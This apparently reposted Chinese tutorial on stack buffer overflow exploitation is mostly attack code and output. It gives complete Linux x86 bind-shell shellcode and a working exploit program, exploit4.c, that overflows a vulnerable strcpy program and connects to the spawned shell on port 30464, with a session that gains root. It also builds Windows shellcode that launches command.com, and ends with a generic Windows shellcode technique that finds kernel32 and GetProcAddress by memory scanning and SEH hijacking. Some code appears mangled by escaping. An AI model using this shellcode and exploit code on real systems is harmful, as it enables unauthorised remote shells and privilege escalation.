/* %ecx 里面为这个内存块的地址指针. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//xf1/" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x05/" /* movb $0x5,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

dup2(cli,0)的汇编代码
------------------------------------------------------------------------
----
/* 第一个参数为 %ebx, 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值, */
/* 客户的文件描述符cli . */
/"//x88//xc3/" /* movb %al,%bl */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//x31//xc9/" /* xorl %ecx,%ecx */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 /"//x31//xc0/" /* xorl %eax,%eax */
02 /"//xb0//x02/" /* movb $0x2,%al */
04 /"//xcd//x80/" /* int $0x80 */
06 /"//x85//xc0/" /* testl %eax,%eax */
08 /"//x75//x43/" /* jne 0x43 */
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */
0a /"//xeb//x43/" /* jmp 0x43 */
/* 当fork()==0 的时候,表明是子进程 */
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

0c /"//x5e/" /* popl %esi */
0d /"//x31//xc0/" /* xorl %eax,%eax */
0f /"//x31//xdb/" /* xorl %ebx,%ebx */
11 /"//x89//xf1/" /* movl %esi,%ecx */
13 /"//xb0//x02/" /* movb $0x2,%al */
15 /"//x89//x06/" /* movl %eax,(%esi) */
17 /"//xb0//x01/" /* movb $0x1,%al */
19 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
1c /"//xb0//x06/" /* movb $0x6,%al */
1e /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
21 /"//xb0//x66/" /* movb $0x66,%al */
23 /"//xb3//x01/" /* movb $0x1,%bl */
25 /"//xcd//x80/" /* int $0x80 */
/* 执行socket(),eax里面为返回值soc文件描述符 */

27 /"//x89//x06/" /* movl %eax,(%esi) */
29 /"//xb0//x02/" /* movb $0x2,%al */
2d /"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
2f /"//xb0//x77/" /* movb $0x77,%al */
31 /"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
35 /"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
38 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
3b /"//x31//xc0/" /* xorl %eax,%eax */
3d /"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
40 /"//xb0//x10/" /* movb $0x10,%al */
42 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
45 /"//xb0//x66/" /* movb $0x66,%al */
47 /"//xb3//x02/" /* movb $0x2,%bl */
49 /"//xcd//x80/" /* int $0x80 */
/* 执行bind() */

4b /"//xeb//x04/" /* jmp 0x4 */
/* 越过下面的两个跳转 */

4d /"//xeb//x55/" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */

4f /"//xeb//x5b/" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */

51 /"//xb0//x01/" /* movb $0x1,%al */
53 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
56 /"//xb0//x66/" /* movb $0x66,%al */
58 /"//xb3//x04/" /* movb $0x4,%bl */
5a /"//xcd//x80/" /* int $0x80 */
/* 执行listen() */

5c /"//x31//xc0/" /* xorl %eax,%eax */
5e /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
61 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
64 /"//xb0//x66/" /* movb $0x66,%al */
66 /"//xb3//x05/" /* movb $0x5,%bl */
68 /"//xcd//x80/" /* int $0x80 */
/* 执行accept(),eax里面为返回值cli文件描述符 */

6a /"//x88//xc3/" /* movb %al,%bl */
6c /"//xb0//x3f/" /* movb $0x3f,%al */
6e /"//x31//xc9/" /* xorl %ecx,%ecx */
70 /"//xcd//x80/" /* int $0x80 */
72 /"//xb0//x3f/" /* movb $0x3f,%al */
74 /"//xb1//x01/" /* movb $0x1,%cl */
76 /"//xcd//x80/" /* int $0x80 */
78 /"//xb0//x3f/" /* movb $0x3f,%al */
7a /"//xb1//x02/" /* movb $0x2,%cl */
7c /"//xcd//x80/" /* int $0x80 */
/* 执行三个dup2() */

7e /"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */
/* %eax=/"/bin/" */
83 /"//x89//x06/" /* movl %eax,(%esi) */
85 /"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */
/* %eax=/"/sh//" */
8a /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
8d /"//x31//xc0/" /* xorl %eax,%eax */
8f /"//x88//x46//x07/" /* movb %al,0x7(%esi) */
92 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
95 /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
98 /"//xb0//x0b/" /* movb $0xb,%al */
9a /"//x89//xf3/" /* movl %esi,%ebx */
9c /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
9f /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
a2 /"//xcd//x80/" /* int $0x80 */
/* 执行execve() */
/* 运行/bin/sh() */

a4 /"//x31//xc0/" /* xorl %eax,%eax */
a6 /"//xb0//x01/" /* movb $0x1,%al */
a8 /"//x31//xdb/" /* xorl %ebx,%ebx */
aa /"//xcd//x80/" /* int $0x80 */
/* 执行exit() */

ac /"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */
/* 执行0x0c处的指令 */

b1
------------------------------------------------------------------------
----

好,长长的shell终于写完了,下面就是攻击程序了。

exploit4.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90

char shellcode[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x02/" /* movb $0x2,%al */
/"//xcd//x80/" /* int $0x80 */
/"//x85//xc0/" /* testl %eax,%eax */
/"//x75//x43/" /* jne 0x43 */
/"//xeb//x43/" /* jmp 0x43 */
/"//x5e/" /* popl %esi */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xf1/" /* movl %esi,%ecx */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//xb0//x06/" /* movb $0x6,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x01/" /* movb $0x1,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
/"//xb0//x77/" /* movb $0x77,%al */
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
/"//xb0//x10/" /* movb $0x10,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x02/" /* movb $0x2,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//xeb//x04/" /* jmp 0x4 */
/"//xeb//x55/" /* jmp 0x55 */
/"//xeb//x5b/" /* jmp 0x5b */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x04/" /* movb $0x4,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x05/" /* movb $0x5,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x88//xc3/" /* movb %al,%bl */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//x31//xc9/" /* xorl %ecx,%ecx */
/"//xcd//x80/" /* int $0x80 */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//xb1//x01/" /* movb $0x1,%cl */
/"//xcd//x80/" /* int $0x80 */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//xb1//x02/" /* movb $0x2,%cl */
/"//xcd//x80/" /* int $0x80 */
/"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x88//x46//x07/" /* movb %al,0x7(%esi) */
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
/"//xb0//x0b/" /* movb $0xb,%al */
/"//x89//xf3/" /* movl %esi,%ebx */
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//xcd//x80/" /* int $0x80 */
/"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */

unsigned long get_sp(void)
{
__asm__(/"movl %esp,%eax/");
}

long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,/"Can/"t resolve host.//n/");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}

int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}

int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf(/"Connect to the shell//n/");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf(/"Can/"t create socket//n/");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf(/"Can/"t connect to the shell//n/");
exit(0);
}
return sockfd;
}

void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];

buff[bsize-1]=/"//0/"

printf(/"Jump to 0x%08x//n/",addr);

if(fork()==0)
{
execl(/"./vulnerable/",/"vulnerable/",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip(/"127.0.0.1/"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的
shellcode被
执行,那么在30464端口就会有server在listen了。

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket
读取
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端


下面来试一试:

我们先写一个漏洞程序:
vulnerable.C
------------------------------------------------------------------------
----

#include <stdio.h>

int main(int argc,char ** argv)
{
char buffer[1000];
printf(/"I am here%x,buffer%d//n/",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);

return 0;
}
------------------------------------------------------------------------
----

[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can/"t connect to the shell
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。

[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。


嘿嘿,大功告成了。

---------------------------------------------------------------

window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#include <stdio.h>

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf(/"0x%x/",name[i]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

一个很长的串,肯定可以覆盖堆栈中的返回地址。

C://Program Files//DevStudio//MyProjects//bo//Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0
x61//0x61
//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0
x61//0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我
们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏
移位置。

C://Program Files//DevStudio//MyProjects//bo//Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940

//0x31//0x32//0x33//0x34//0x35//0x36//0x37//0x38//0x39//0x31//0x30//0x31//0x31//0x31//0
x32//0x31
//0x33//0x31//0x34//0x31//0x35//0x31//0x36//0x31//0x37//0x31//0x38//0x31//0x39//0x32//0
x30//0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细
信息
按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name
变量
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始
地址
是多少呢?
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在
windows
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检
测,
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = /"msvcrt.dll/"
char sysbuf[7] = /"system/"
char cmdbuf[16] = /"command.com/"


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

windows通过动态链接库来提供系统函数。这就是所谓的Dll/"s。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串/"command.com/"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

是否能够像我们设计的那样工作:

#include <windows.h>
#include <winbase.h>

void main()
{

LoadLibrary(/"msvcrt.dll/");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾//0字符

sub esp,08h ;加上上面,一共有12个字节,
;用来放/"command.com/"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串/"command.com/".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我
们的
程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个
shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary(/"msvcrt.dll/");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计

偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆

栈溢出
的能力了,下面,我们通过实战来真正掌握他。

--------------------------------------------------------------

WINDOWS的SHELLCODE编写高级技巧

作者:yuange

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到,那可能是WIN9X系统 */
if(*( WORD *)imgbase==/'ZM/'&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))==/'EP/'){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==/'NREK/'&&*(int *)(k+4)==/'23LE/'){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)==/'PteG/'&&*(int *)(4+imgbase+*(int *)k)==/'Acor/'){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */


if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}


Copyright(C) 1999-2001 SafeChina.net All Rights Reserved.
 
E-mail:webmaster@safechina.net
 
版权所有 中华安全网
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值